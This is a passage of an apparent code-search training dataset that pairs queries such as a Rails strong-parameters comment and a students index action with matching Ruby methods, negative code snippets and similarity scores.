"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def divida_params
params.require(:divida).permit(:numr_tipodivida, :numr_cheque, :data_vencimento, :valr_divida, :desc_observacao, :numg_tipopagamento, :data_cadastro, :desc_docprincipal, :data_cancelamento, :data_pagamento, :valr_pagamento, :valr_multa, :valr_juro, :numr_notafiscal, :numr_parcela, :desc_caminhocheque, :flag_ordinaria, :flag_despesafixa, :condominio_id, :contabank_id, :prestador_id, :user_inclusao, :despesa_id, :user_exclusao, :flag_pago)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
rubocop:disable Metrics/CyclomaticComplexity rubocop:disable Metrics/AbcSize
|
def edit_cell(cell, target)
case target
when "[Time.zone.today]" then replace!(cell, target, date_format(Time.zone.today))
when "[bill_company_name]" then replace!(cell, target, @project.billing_company_name || '')
when "[project_cd]" then replace!(cell, target, @project.cd)
when "[project_name]" then replace!(cell, target, @project.name)
when "[project_period]" then replace!(cell, target, project_period)
when "[bill_cd]" then replace!(cell, target, @bill.cd)
when "[bill_payment_type]" then replace!(cell, target, I18n.t("enumerize.defaults.payment_type.#{@bill.payment_type}"))
when "[bill_amount]" then replace!(cell, target, @bill.amount)
when "[subtotal]" then replace!(cell, target, subtotal)
when "[tax]" then replace!(cell, target, tax)
when "[total]" then replace!(cell, target, total)
# TODO(ito): Change under two conditions when the function of computing man-hours is added
when "[excess]" then replace!(cell, target, 0)
when "[transportation_expenses]" then replace!(cell, target, 0)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def implementation; end",
"def implementation; end",
"def probers; end",
"def refutal()\n end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def schubert; end",
"def strategy; end",
"def used?; end",
"def offences_by; end",
"def isolated; end",
"def isolated; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def suivre; end",
"def intensifier; end",
"def operations; end",
"def operations; end",
"def custom; end",
"def custom; end",
"def internal; end",
"def spec; end",
"def spec; end",
"def initialize\n \n end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def private_method\n end",
"def initialize\n \n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def prepareForReuse; end",
"def initialize\n\n end",
"def initialize\n\n end",
"def celebration; end",
"def processor; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def ignores; end",
"def initialize() end",
"def internship_passed; end",
"def initialize\n\t\t\n\tend",
"def apply\n end",
"def weber; end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def anchored; end",
"def initialize\n super()\n end",
"def villian; end",
"def identify; end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def common\n \n end",
"def operation; end",
"def missing; end",
"def same; end",
"def ignore; end",
"def initialize\n # nothing here for now\n end",
"def initialize\r\n\r\n end",
"def wrapper; end",
"def sitemaps; end",
"def pausable; end",
"def who_we_are\r\n end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def used\n raise NotImplementedError\n end",
"def checks; end"
] |
[
"0.7575491",
"0.6228001",
"0.6228001",
"0.62206525",
"0.6116412",
"0.60743344",
"0.60743344",
"0.60743344",
"0.60743344",
"0.6052599",
"0.60515994",
"0.5941999",
"0.5851441",
"0.5786109",
"0.5786109",
"0.57513005",
"0.57513005",
"0.57513005",
"0.57455516",
"0.5738835",
"0.5703431",
"0.5703431",
"0.5701416",
"0.5701416",
"0.56963426",
"0.5691766",
"0.5691766",
"0.5664937",
"0.56598043",
"0.56598043",
"0.5638476",
"0.5632531",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56239635",
"0.56108534",
"0.56083155",
"0.56083155",
"0.56037074",
"0.5594198",
"0.5581291",
"0.5581291",
"0.5581291",
"0.5581291",
"0.5581291",
"0.5581291",
"0.5581291",
"0.5581291",
"0.5581291",
"0.55735254",
"0.5558896",
"0.55549264",
"0.5546021",
"0.5533652",
"0.55283105",
"0.5524663",
"0.5524663",
"0.5524663",
"0.5524663",
"0.5522403",
"0.5522403",
"0.5522403",
"0.5518891",
"0.5508637",
"0.5504896",
"0.5501895",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54969484",
"0.54921997",
"0.5485628",
"0.5482244",
"0.54781026",
"0.5474783",
"0.54692703",
"0.54577017",
"0.54552305",
"0.54504454",
"0.54353166",
"0.54187506",
"0.5413323",
"0.5413323",
"0.5413323",
"0.5413323",
"0.54099315",
"0.54092413"
] |
0.0
|
-1
|
rubocop:enable Metrics/CyclomaticComplexity rubocop:enable Metrics/AbcSize
|
def replace!(cell, target, value)
replace_word = value.is_a?(Integer) ? cell.value.gsub(target, value.to_s).to_i : cell.value.gsub(target, value)
cell.change_contents(replace_word, cell.formula)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def implementation; end",
"def implementation; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def refutal()\n end",
"def strategy; end",
"def used?; end",
"def offences_by; end",
"def suivre; end",
"def isolated; end",
"def isolated; end",
"def intensifier; end",
"def operations; end",
"def operations; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def custom; end",
"def custom; end",
"def internal; end",
"def spec; end",
"def spec; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def processor; end",
"def internship_passed; end",
"def celebration; end",
"def private_method\n end",
"def anchored; end",
"def initialize\n \n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def weber; end",
"def ignores; end",
"def villian; end",
"def prepareForReuse; end",
"def operation; end",
"def same; end",
"def identify; end",
"def common\n \n end",
"def apply\n end",
"def initialize\n\n end",
"def initialize\n\n end",
"def initialize\n \n end",
"def who_we_are\r\n end",
"def missing; end",
"def initialize() end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize\n\t\t\n\tend",
"def formation; end",
"def sitemaps; end",
"def wrapper; end",
"def checks; end",
"def pausable; end",
"def ignore; end",
"def under_construction\n end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def missing?; end",
"def extra; end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def original_result; end",
"def internal?; end",
"def final; end"
] |
[
"0.7623404",
"0.6341815",
"0.6292353",
"0.6292353",
"0.61580694",
"0.6146817",
"0.6146817",
"0.6146817",
"0.6146817",
"0.61436105",
"0.6052479",
"0.602375",
"0.58737695",
"0.5861187",
"0.58322",
"0.58322",
"0.5825923",
"0.5806006",
"0.5806006",
"0.5793213",
"0.5793213",
"0.5793213",
"0.5788607",
"0.5788607",
"0.57821757",
"0.57249665",
"0.57249665",
"0.5724032",
"0.5724032",
"0.56909144",
"0.5681168",
"0.5666501",
"0.56575805",
"0.5644803",
"0.56433755",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.5636184",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56281734",
"0.56140566",
"0.5611323",
"0.5598724",
"0.5598525",
"0.55939436",
"0.55860585",
"0.5584469",
"0.55802226",
"0.5577768",
"0.5576702",
"0.5576702",
"0.557525",
"0.557361",
"0.55586",
"0.55494535",
"0.5544917",
"0.5544917",
"0.5544917",
"0.5544917",
"0.5533431",
"0.5526127",
"0.5524665",
"0.551567",
"0.55116653",
"0.5484531",
"0.54829335",
"0.5478862",
"0.5471773",
"0.5471773",
"0.5471773",
"0.5471773",
"0.54704815",
"0.54667693",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.5465611",
"0.54652804",
"0.54626554",
"0.5453589"
] |
0.0
|
-1
|
GET /students GET /students.json
|
def index
user_type = session[:user_type]
case user_type
when ApplicationController::TYPE_ADMIN
@students = Student.all
else
flash[:notice] = "You are not authorised to perform this action"
redirect_to root_path
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end",
"def get_student\n @student = Student.find(params[:std_id])\n render json: @student\n end",
"def index\n @students = Student.all\n render json: @students\n end",
"def my_students(query={})\n self.simple_client.get(\"/api/v1/students?#{query.to_query}\")\n end",
"def school_students(query={})\n self.simple_client.get(\"/api/v1/schools/my/students?#{query.to_query}\")\n end",
"def index\n puts render json: @user.students, each_serializer: UserSerializer\n end",
"def index\n @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def index\n @students = Student.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @students }\n end\n end",
"def index\n @students = current_user.groups[0].students\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @students }\n end\n end",
"def students\n @course = Course.find(params[:id])\n\t\t@students = @course.students\n\t\t@other_students = Student.find(:all, :conditions => [\"id not in (select student_id from courses_students where course_id=?)\", @course.id])\n\n respond_to do |format|\n format.html # students.html.erb\n format.json { render :json => @students }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@students) }\n\t\tend\n end",
"def show\n render json: @student\n end",
"def show\n student = Student.find(params[:id])\n render json: student\nend",
"def show\n @student = User.find params[:id]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @student }\n end\n end",
"def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @student }\n end\n end",
"def show\n respond_to do |format|\n format.json {\n\n @student = User.find_by_id(params[:id])\n\n if @student\n render :json => @student\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @students = Student.all\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @students.pluck(:id, :firstname, :lastname) }\n end\n end",
"def show\n # @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end",
"def students\n student_size = User.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n if current_offset + direction < student_size && current_offset + direction >= 0\n offset = current_offset + direction\n @students = User.all.offset(offset).take(10) \n render :json => @students\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\tend",
"def show\n student = Student.find(params[:id])\n\n render json: {status: 'SUCCESS', message:\"Student listed with name #{student.name}\", data:student}, status: :ok\n end",
"def show\n @student_user = StudentUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_user }\n end\n end",
"def index\n if request.format == \"json\"\n @students = Student.all.order(:last_name)\n end\n end",
"def student\n\n\t\tif(params[:student_user_id].eql?('null') || params[:classroom_id].eql?('null') )\n\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\t\telse\n\t\t\tstudent = StudentUser.joins(:classrooms)\n\t\t\t\t.joins(\"inner join teacher_users t on classrooms.teacher_user_id = t.id\")\n\t\t\t\t.where(\"t.id = ?\", @current_teacher_user.id)\n\t\t\t\t.where(\"classrooms.id = ?\", params[:classroom_id])\n\t\t\t\t.where(\"student_users.id = ?\" , params[:student_user_id])\n\t\t\t\t.first\n\n\t\t\tif(!student.nil?)\n\t\t\t\tstudent = student.as_json\n\t\t\t\tstudent.delete(\"salt\")\n\t\t student.delete(\"password_digest\")\n\t\t student.delete(\"oauth_expires_at\")\n\t\t student.delete(\"oauth_token\")\n\t\t student.delete(\"updated_at\")\n\t\t student.delete(\"create_at\")\n\n\t\t\t\trender json: {status: \"success\", student: student}\n\t\t\t\n\t\t\telse\n\n\t\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\tend",
"def show\n student = Student.find(params[:id])\n render json: { status: '200', message: \"Loaded Student with id #{params[:id]}\", data: student }, status: :ok\n rescue ActiveRecord::RecordNotFound\n render json: { status: '404', error: \"No Student with id #{params[:id]}\", data: student }, status: :not_found\n end",
"def index\n @students = Student.paginate(page: params[:page], per_page: 2)\n #respond_with(@students)\n respond_to do |format|\n format.json {render json: {\"students\": @students}}\n format.html #index.html.erb\n end\n end",
"def index\n @online_students = OnlineStudent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @online_students }\n end\n end",
